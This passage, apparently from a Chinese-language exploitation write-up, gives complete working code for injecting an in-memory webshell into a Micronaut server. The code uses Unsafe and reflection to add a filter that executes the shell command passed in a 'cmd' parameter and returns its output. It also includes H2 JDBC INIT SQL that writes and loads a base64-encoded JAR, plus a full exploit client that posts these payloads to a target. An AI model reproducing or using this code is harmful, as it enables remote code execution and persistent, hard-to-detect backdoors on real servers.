            Unsafe unsafe = (Unsafe) unsafeField.get(null);

            // 获取当前线程 (假设线程类型是NettyThreadFactory$NonBlockingFastThreadLocalThread)
            Thread currentThread = Thread.currentThread();

            // 检查是否是Netty的线程类型
            if (currentThread.getClass().getName().contains("NettyThreadFactory$NonBlockingFastThreadLocalThread")) {
                // 获取threadLocalMap字段的偏移量
                Field threadLocalMapField = currentThread.getClass().getSuperclass().getDeclaredField("threadLocalMap");
                long threadLocalMapOffset = unsafe.objectFieldOffset(threadLocalMapField);

                // 使用Unsafe获取threadLocalMap字段的值
                InternalThreadLocalMap threadLocalMap = (InternalThreadLocalMap) unsafe.getObject(currentThread, threadLocalMapOffset);

                // 获取threadLocalMap中的indexedVariables
                Field indexedVariablesField = InternalThreadLocalMap.class.getDeclaredField("indexedVariables");
                indexedVariablesField.setAccessible(true);
                Object[] indexedVariables = (Object[]) indexedVariablesField.get(threadLocalMap);

                // 获取索引为10的变量
                Object indexedVariable = indexedVariables[10];

                // 确认indexedVariable是PropagatedContextImpl类型
                if (indexedVariable != null && indexedVariable.getClass().getName().contains("PropagatedContextImpl")) {
                    // 获取PropagatedContextImpl的elements属性
                    Field elementsField = indexedVariable.getClass().getDeclaredField("elements");
                    elementsField.setAccessible(true);
                    PropagatedContextElement[] elements = (PropagatedContextElement[]) elementsField.get(indexedVariable);

                    PropagatedContextElement element = elements[0];

                    // 反射获取element的httpRequest属性
                    if (element != null && element.getClass().getName().contains("ServerHttpRequestContext")) {
                        // 获取ServerHttpRequestContext类中的httpRequest字段
                        Field httpRequestField = element.getClass().getDeclaredField("httpRequest");
                        httpRequestField.setAccessible(true);
                        NettyHttpRequest httpRequest = (NettyHttpRequest) httpRequestField.get(element);

                        // 获取channelHandlerContext属性
                        Field channelHandlerContextField = NettyHttpRequest.class.getDeclaredField("channelHandlerContext");
                        channelHandlerContextField.setAccessible(true);
                        Object channelHandlerContext = channelHandlerContextField.get(httpRequest);

                        // 获取handler属性
                        Field handlerField = channelHandlerContext.getClass().getDeclaredField("handler");
                        handlerField.setAccessible(true);
                        Object handler = handlerField.get(channelHandlerContext);

                        // 获取requestHandler属性
                        Field requestHandlerField = handler.getClass().getDeclaredField("requestHandler");
                        requestHandlerField.setAccessible(true);
                        Object requestHandler = requestHandlerField.get(handler);

                        // 获取routeExecutor属性
                        Field routeExecutorField = requestHandler.getClass().getDeclaredField("routeExecutor");
                        routeExecutorField.setAccessible(true);
                        RouteExecutor routeExecutor = (RouteExecutor) routeExecutorField.get(requestHandler);

                        // 获取router属性
                        Field routerField = routeExecutor.getClass().getDeclaredField("router");
                        routerField.setAccessible(true);
                        DefaultRouter router = (DefaultRouter) routerField.get(routeExecutor);


                        // 获取alwaysMatchesHttpFilters属性
                        Field alwaysMatchesHttpFiltersField = router.getClass().getDeclaredField("alwaysMatchesHttpFilters");
                        alwaysMatchesHttpFiltersField.setAccessible(true);
                        Supplier<ArrayList<GenericHttpFilter>> alwaysMatchesHttpFilters =
                                (Supplier<ArrayList<GenericHttpFilter>>) unsafe.getObject(router,
                                        unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField));

                        // 这里可以使用alwaysMatchesHttpFilters进行其他操作
                        ArrayList<GenericHttpFilter> filters = alwaysMatchesHttpFilters.get();

                        // ================== ================== ================== ==================
                        // 获取AroundLegacyFilter类
                        Class<?> aroundLegacyFilterClass = Class.forName("io.micronaut.http.filter.AroundLegacyFilter");

                        // 使用Unsafe分配AroundLegacyFilter的实例
                        Object legacyFilter = unsafe.allocateInstance(aroundLegacyFilterClass);

                        // 获取AroundLegacyFilter的构造函数
                        Constructor<?> constructor = aroundLegacyFilterClass.getDeclaredConstructor(HttpFilter.class, FilterOrder.class);
                        constructor.setAccessible(true);  // 允许访问私有构造方法

                        // 创建HttpFilter实例
                        HttpServerFilter hackedFilter = new HttpServerFilter() {
                            @Override
                            public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) {
                                String cmd = request.getParameters().get("cmd");
                                String output = "";
                                try {
                                    boolean isLinux = true;
                                    String osTyp = System.getProperty("os.name");
                                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                                        isLinux = false;
                                    }
                                    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                                    Scanner s = new Scanner(in).useDelimiter("\\A");
                                    output = s.hasNext() ? s.next() : "";
                                } catch (IOException ioe) {
                                    ioe.printStackTrace();
                                }


                                String finalOutput = output;
                                String sanitizedOutput = finalOutput.replaceAll("[\\r\\n]", "");
                                return Flux.from(chain.proceed(request))
                                        .doOnNext(response -> {
//                                            response.getHeaders().add("X-Trace-Enabled", sanitizedOutput);
                                            response.body(finalOutput);
                                        });
                            }
                        };

                        // 创建一个Dynamic FilterOrder实例,回退排序值为0
                        FilterOrder dynamicOrder = new FilterOrder.Dynamic(0);

                        // 调用构造函数初始化实例
                        Object aroundLegacyFilter = constructor.newInstance(hackedFilter, dynamicOrder);

                        // 将新的filter添加到filters列表中
                        filters.add((GenericHttpFilter) aroundLegacyFilter);

                        // 更新alwaysMatchesHttpFilters
                        unsafe.putObject(router, unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField),
                                SupplierUtil.memoized(() -> filters));

                    } else {
                        System.out.println("element不是ServerHttpRequestContext类型。");
                    }
                } else {
                    System.out.println("Indexed variable is not of type PropagatedContextImpl.");
                }

            } else {
                System.out.println("当前线程不是Netty的线程类型。");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }


    }

}

效果展示

演示就简单的实例化这个EvilFiter类,注入成功后请求一个不存在的接口添加cmd参数都可以拿到执行命令结果

0x05 h2 任意代码执行注入micronaut内存马

两种思路,第一种是直接将注入内存马的代码按照h2 sql的语法进行编码转换执行,但是比较麻烦,需要将import的类都写成全类名进行使用。

第二种将jar包读取为二进制流再base64写到服务器,再使用loadClas加载即可

-- Step 1: 创建Base64解码和文件写入的ALIAS
CREATE ALIAS IF NOT EXISTS BASE64_TO_JAR AS '
void base64ToJar(String base64Data, String filePath) throws java.io.IOException {
    byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data);
    try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) {
        fos.write(jarBytes);
    }
}
';

-- Step 2: 创建加载JAR并执行方法的ALIAS
CREATE ALIAS IF NOT EXISTS LOAD_JAR AS '
void loadJar(String jarPath, String className, String methodName) throws Exception {
    java.net.URL jarUrl = new java.net.URL("file:" + jarPath);
    java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl});
    Class<?> loadedClass = classLoader.loadClass(className);
    Object instance = loadedClass.getDeclaredConstructor().newInstance();
    java.lang.reflect.Method method = loadedClass.getMethod(methodName);
    method.invoke(instance);
}
';

-- Step 3: 执行Base64解码并写入JAR文件
CALL BASE64_TO_JAR('你的base64数据', 'yourfile.jar');

-- Step 4: 加载JAR并执行方法
CALL LOAD_JAR('yourfile.jar', 'com.example.YourClass', 'executeMethod');

按照完整流程来进行利用,将创建一个新的项目,将内存马写入一个类中,编译为jar包转为base64。

0x06 最终exp

编写exp需要注意反引号可能回导致问题

evilFilter

package micronaut.poc;

import io.micronaut.core.propagation.PropagatedContextElement;
import io.micronaut.core.util.SupplierUtil;
import io.micronaut.http.HttpRequest;
import io.micronaut.http.MutableHttpResponse;
import io.micronaut.http.filter.*;
import io.micronaut.http.server.RouteExecutor;
import io.micronaut.http.server.netty.NettyHttpRequest;
import io.micronaut.web.router.DefaultRouter;
import io.netty.util.internal.InternalThreadLocalMap;
import org.reactivestreams.Publisher;
import reactor.core.publisher.Flux;
import sun.misc.Unsafe;

import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.function.Supplier;


public class EvilFilter {

    public void hacked() {
        try {
            // 获取Unsafe实例
            Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            unsafeField.setAccessible(true);
            Unsafe unsafe = (Unsafe) unsafeField.get(null);

            // 获取当前线程 (假设线程类型是NettyThreadFactory$NonBlockingFastThreadLocalThread)
            Thread currentThread = Thread.currentThread();

            // 检查是否是Netty的线程类型
            if (currentThread.getClass().getName().contains("NettyThreadFactory$NonBlockingFastThreadLocalThread")) {
                // 获取threadLocalMap字段的偏移量
                Field threadLocalMapField = currentThread.getClass().getSuperclass().getDeclaredField("threadLocalMap");
                long threadLocalMapOffset = unsafe.objectFieldOffset(threadLocalMapField);

                // 使用Unsafe获取threadLocalMap字段的值
                InternalThreadLocalMap threadLocalMap = (InternalThreadLocalMap) unsafe.getObject(currentThread, threadLocalMapOffset);

                // 获取threadLocalMap中的indexedVariables
                Field indexedVariablesField = InternalThreadLocalMap.class.getDeclaredField("indexedVariables");
                indexedVariablesField.setAccessible(true);
                Object[] indexedVariables = (Object[]) indexedVariablesField.get(threadLocalMap);

                Object indexedVariable = null;

                // 遍历indexedVariables数组,寻找PropagatedContextImpl类型的变量
                for (Object variable : indexedVariables) {
                    System.out.println(variable.getClass().getName());
                    if (variable.getClass().getName().contains("PropagatedContextImpl")) {
                        indexedVariable = variable;
                        break;
                    }
                }

                // 如果找到了PropagatedContextImpl类型的变量
                if (indexedVariable != null) {
                    // 获取PropagatedContextImpl的elements属性
                    Field elementsField = indexedVariable.getClass().getDeclaredField("elements");
                    elementsField.setAccessible(true);
                    PropagatedContextElement[] elements = (PropagatedContextElement[]) elementsField.get(indexedVariable);

                    PropagatedContextElement element = elements[0];

                    // 反射获取element的httpRequest属性
                    if (element != null && element.getClass().getName().contains("ServerHttpRequestContext")) {
                        // 获取ServerHttpRequestContext类中的httpRequest字段
                        Field httpRequestField = element.getClass().getDeclaredField("httpRequest");
                        httpRequestField.setAccessible(true);
                        NettyHttpRequest httpRequest = (NettyHttpRequest) httpRequestField.get(element);

                        // 获取channelHandlerContext属性
                        Field channelHandlerContextField = NettyHttpRequest.class.getDeclaredField("channelHandlerContext");
                        channelHandlerContextField.setAccessible(true);
                        Object channelHandlerContext = channelHandlerContextField.get(httpRequest);

                        // 获取handler属性
                        Field handlerField = channelHandlerContext.getClass().getDeclaredField("handler");
                        handlerField.setAccessible(true);
                        Object handler = handlerField.get(channelHandlerContext);

                        // 获取requestHandler属性
                        Field requestHandlerField = handler.getClass().getDeclaredField("requestHandler");
                        requestHandlerField.setAccessible(true);
                        Object requestHandler = requestHandlerField.get(handler);

                        // 获取routeExecutor属性
                        Field routeExecutorField = requestHandler.getClass().getDeclaredField("routeExecutor");
                        routeExecutorField.setAccessible(true);
                        RouteExecutor routeExecutor = (RouteExecutor) routeExecutorField.get(requestHandler);

                        // 获取router属性
                        Field routerField = routeExecutor.getClass().getDeclaredField("router");
                        routerField.setAccessible(true);
                        DefaultRouter router = (DefaultRouter) routerField.get(routeExecutor);

                        // 获取alwaysMatchesHttpFilters属性
                        Field alwaysMatchesHttpFiltersField = router.getClass().getDeclaredField("alwaysMatchesHttpFilters");
                        alwaysMatchesHttpFiltersField.setAccessible(true);
                        Supplier<ArrayList<GenericHttpFilter>> alwaysMatchesHttpFilters =
                                (Supplier<ArrayList<GenericHttpFilter>>) unsafe.getObject(router,
                                        unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField));

                        // 获取现有的过滤器列表
                        ArrayList<GenericHttpFilter> filters = alwaysMatchesHttpFilters.get();

                        // 创建新的过滤器
                        HttpServerFilter hackedFilter = new HttpServerFilter() {
                            @Override
                            public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) {
                                String cmd = request.getParameters().get("cmd");
                                String output = "";
                                try {
                                    boolean isLinux = true;
                                    String osTyp = System.getProperty("os.name");
                                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                                        isLinux = false;
                                    }
                                    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                                    Scanner s = new Scanner(in).useDelimiter("\\A");
                                    output = s.hasNext() ? s.next() : "";
                                } catch (IOException ioe) {
                                    ioe.printStackTrace();
                                }

                                String finalOutput = output;
                                return Flux.from(chain.proceed(request))
                                        .doOnNext(response -> {
                                            response.body(finalOutput);
                                        });
                            }
                        };

                        // 获取AroundLegacyFilter类
                        Class<?> aroundLegacyFilterClass = Class.forName("io.micronaut.http.filter.AroundLegacyFilter");

                        // 使用Unsafe分配AroundLegacyFilter的实例
                        Object legacyFilter = unsafe.allocateInstance(aroundLegacyFilterClass);

                        // 获取AroundLegacyFilter的构造函数
                        Constructor<?> constructor = aroundLegacyFilterClass.getDeclaredConstructor(HttpFilter.class, FilterOrder.class);
                        constructor.setAccessible(true);  // 允许访问私有构造方法

                        // 创建一个Dynamic FilterOrder实例,回退排序值为0
                        FilterOrder dynamicOrder = new FilterOrder.Dynamic(0);

                        // 调用构造函数初始化实例
                        Object aroundLegacyFilter = constructor.newInstance(hackedFilter, dynamicOrder);

                        // 将新的filter添加到filters列表中
                        filters.add((GenericHttpFilter) aroundLegacyFilter);

                        // 更新alwaysMatchesHttpFilters
                        unsafe.putObject(router, unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField),
                                SupplierUtil.memoized(() -> filters));

                    } else {
                        System.out.println("element不是ServerHttpRequestContext类型。");
                    }
                } else {
                    System.out.println("未找到类型为PropagatedContextImpl的变量。");
                }

            } else {
                System.out.println("当前线程不是Netty的线程类型。");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }


}

Exp

package hello.micronaut;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import hello.micronaut.bean.User;
import hello.micronaut.utils.BeanUtil;
import io.micronaut.http.HttpRequest;
import io.micronaut.http.HttpResponse;
import io.micronaut.http.MediaType;
import io.micronaut.http.client.HttpClient;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URL;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception {

//        String loadClassName = "micronaut.poc.TestPoc";
        String loadClassName = "micronaut.poc.EvilFilter";
        String loadClassPath = "/tmp/b.jar";
//        String loadClassMethodName = "poc";
        String loadClassMethodName = "hacked";
        String loadClassPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS LOAD_JAR AS \\'void loadJar(String jarPath, String className, String methodName) throws Exception {java.net.URL jarUrl = new java.net.URL(\\\"file:\\\" + jarPath)\\;java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl})\\;Class<?> loadedClass = classLoader.loadClass(className)\\;Object instance = loadedClass.getDeclaredConstructor().newInstance()\\;java.lang.reflect.Method method = loadedClass.getMethod(methodName)\\;method.invoke(instance)\\;}\\'\\;CALL LOAD_JAR(\\'" + loadClassPath + "\\', \\'" + loadClassName + "\\', \\'" + loadClassMethodName + "\\')\\;','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']";

        String jar2base64Path = "/Users/a1234/data/codes/java/micronaut-poc/target/original-micronaut-poc-0.1.jar";
        String jar2base64 = jar2base64(jar2base64Path);
        String writeJarPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS BASE64_TO_JAR AS \\'void base64ToJar(String base64Data, String filePath) throws java.io.IOException {byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data)\\;try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) {fos.write(jarBytes)\\;}}\\'\\;CALL BASE64_TO_JAR (\\'" + jar2base64 + "\\',\\'" + loadClassPath + "\\')\\;','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']";
        
        Gson gson = new GsonBuilder()
                .create();

        BeanUtil beanUtil = new BeanUtil();
        beanUtil.setUrl("http");
        String json = gson.toJson(beanUtil, BeanUtil.class);
        System.out.println(json);

        String poc1 = Base64.getEncoder().encodeToString(json.getBytes()) + "<--->" + writeJarPoc + "<--->" + "admin";
        String poc2 = Base64.getEncoder().encodeToString(json.getBytes()) + "<--->" + loadClassPoc + "<--->" + "admin";

        User poc1User = new User("admin", "1", Base64.getEncoder().encodeToString(poc1.getBytes()));
        User poc2User = new User("admin", "1", Base64.getEncoder().encodeToString(poc2.getBytes()));

        ObjectMapper objectMapper = new ObjectMapper();

        System.out.println(objectMapper.writeValueAsString(poc1User));
        System.out.println("send1");
        sendPostRequest("http://127.0.0.1:8080", "/hello/user", objectMapper.writeValueAsString(poc1User));
        System.out.println("send2");
        sendPostRequest("http://127.0.0.1:8080", "/hello/user", objectMapper.writeValueAsString(poc2User));
    }

    public static String jar2base64(String jarPath) {
        File jarFile = new File(jarPath);
        try (FileInputStream fis = new FileInputStream(jarFile)) {
            byte[] jarBytes = new byte[(int) jarFile.length()];
            fis.read(jarBytes);
            return Base64.getEncoder().encodeToString(jarBytes);
        } catch (IOException e) {
            e.printStackTrace();
            return "";
        }
    }

    public static String sendGetRequest(String url, String endpoint) {
        try (HttpClient httpClient = HttpClient.create(new URL(url))) {
            HttpRequest<String> request = HttpRequest.GET(endpoint);
            HttpResponse<String> response = httpClient.toBlocking().exchange(request, String.class);
            return response.body();
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }

    public static String sendPostRequest(String url, String endpoint, String data) {
        try (HttpClient httpClient = HttpClient.create(new URL(url))) {
            HttpRequest<String> request = HttpRequest.POST(endpoint, data)
                    .contentType(MediaType.APPLICATION_JSON); // 设置 Content-Type 头
            HttpResponse<String> response = httpClient.toBlocking().exchange(request, String.class);
            return response.body();
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}